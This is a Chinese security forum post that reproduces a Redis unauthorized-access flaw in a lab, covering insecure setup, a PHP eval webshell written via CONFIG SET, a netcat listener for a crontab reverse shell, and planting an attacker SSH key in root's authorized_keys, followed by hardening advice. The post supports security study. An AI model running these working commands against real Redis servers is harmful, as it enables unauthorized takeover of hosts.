安全矩阵

 找回密码
 立即注册
搜索
查看: 3830|回复: 0

redis未授权访问漏洞复现(包括环境搭建)

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-10-11 21:27:57 | 显示全部楼层 |阅读模式
原文链接:redis未授权访问漏洞复现(包括环境搭建)

No.1 Redis环境搭建

1.工具
redis版本:3.2.9
链接:http://download.redis.io/releases/redis-3.2.9.tar.gz
操作系统:centos 6.9

2.redis安装步骤
a.解压redis
tar -zxvf redis-3.2.9.tar.gz
b.重命名redis
mv redis-3.2.9 /usr/local/redis
c.编译安装redis
cd /usr/local/redis
make & make install
redis刚安装好时只能通过本地localhost (127.0.0.1)访问,而不能用其他网络ip区访问,如果没有配置好redis.conf使用网络ip访问redis会报以下的错误:
  1. (error) DENIED Redis is running in protected mode because protected mode is enabled, no bind address was specified, no authentication password is requested to clients. In this mode connections are only accepted from the lookback interface. If you want to connect from external computers to Redis you may adopt one of the following solutions: 1) Just disable protected mode sending the command 'CONFIG SET protected-mode no' from the loopback interface by connecting to Redis from the same host the server is running, however MAKE SURE Redis is not publicly accessible from internet if you do so. Use CONFIG REWRITE to make this change permanent. 2) Alternatively you can just disable the protected mode by editing the Redis configuration file, and setting the protected mode option to 'no', and then restarting the server. 3) If you started the server manually just for testing, restart it with the --portected-mode no option. 4) Setup a bind address or an authentication password. NOTE: You only need to do one of the above things in order for the server to start accepting connections from the outside.
复制代码

出现这个错误说明redis处于保护模式,只能本地访问,我们需要修改配置文件redis.conf配置文件。
1)打开配置文件把下面对应的注释掉(或者可以针对自己的ip进行bind)
# bind 127.0.0.1
2)Redis默认不是以守护进程的方式运行,可以通过该配置项修改,使用yes启用守护进程,设置为no
daemonize no
3)保护模式
protected-mode no
4)重新启动配置文件才会生效:
redis-server redis.conf(在redis.conf文件目录下执行)
5)关闭防火墙
6)出现如下信息说明环境已配置完成



No.2 拿shell的三种姿势
一、通过向Web目录中写webshell
1.测试环境
攻击A(kali):192.168.192.171
靶机B(CentOS):192.168.192.181

2.测试步骤
./redis-cli -h 192.168.192.181
config set dir /var/www/html set x "\n\n\n<?php @eval($_POST['cc']);?>\n\n\n"
config set dbfilename 1.php
Save

用菜刀连接:

打开虚拟终端执行命令:

二、利用计划任务执行命令反弹shell
1.测试环境
攻击A(kali):192.168.192.171
靶机B(CentOS):192.168.192.181

2.测试步骤
先在A上监听一个端口: nc -lvnp 7777
然后利用redis以root权限运行时写crontab


三、写入ssh公钥,获取操作系统权限
1.测试环境
靶机:centos6.9 ip:172.16.1.150
攻击机:RH6.5 ip:172.16.1.133

2.测试步骤
首先在本地生产公私钥文件:
$ ssh-keygen –t rsa

注意:记住生成公钥是填写的passphrase,因为这是登录到靶机的密码。
然后将公钥写入 test.txt 文件
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt
连接 靶机Redis 写入文件
$ redis-cli -h 172.16.1.150
$ 172.16.1.150:6379> config set dir /root/.ssh/
OK
$ 172.16.1.150:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 172.16.1.150:6379> config set dbfilename "authorized_keys"
OK
$ 172.16.1.150:6379> save
OK

这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行ssh 172.16.1.150,输入生成公钥时填的key作为靶机的密码


No.3 修复建议
网上收集的一些修复建议:

1.禁止一些高危命令
    修改 redis.conf 文件,添加
    rename-command FLUSHALL ""
    rename-command CONFIG ""
    rename-command EVAL ""
    来禁用远程修改 DB 文件地址

2.以低权限运行 Redis 服务
    为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
  $ groupadd -r redis && useradd -r -g redis redis

3.为 Redis 添加密码验证
    修改 redis.conf 文件,添加
    requirepass mypassword

4.禁止外网访问 Redis
    修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用
    bind 127.0.0.1

5.保证 authorized_keys 文件的安全
    为了保证安全,您应该阻止其他用户添加新的公钥。
    将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
$ chmod 400 ~/.ssh/authorized_keys
    为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
# chattr +i ~/.ssh/authorized_keys
    然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 位权限:
# chattr +i ~/.ssh
    注意: 如果需要添加新的公钥,需要移除 authorized_keys 的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上 immutable 位权限。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 07:47 , Processed in 0.013417 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表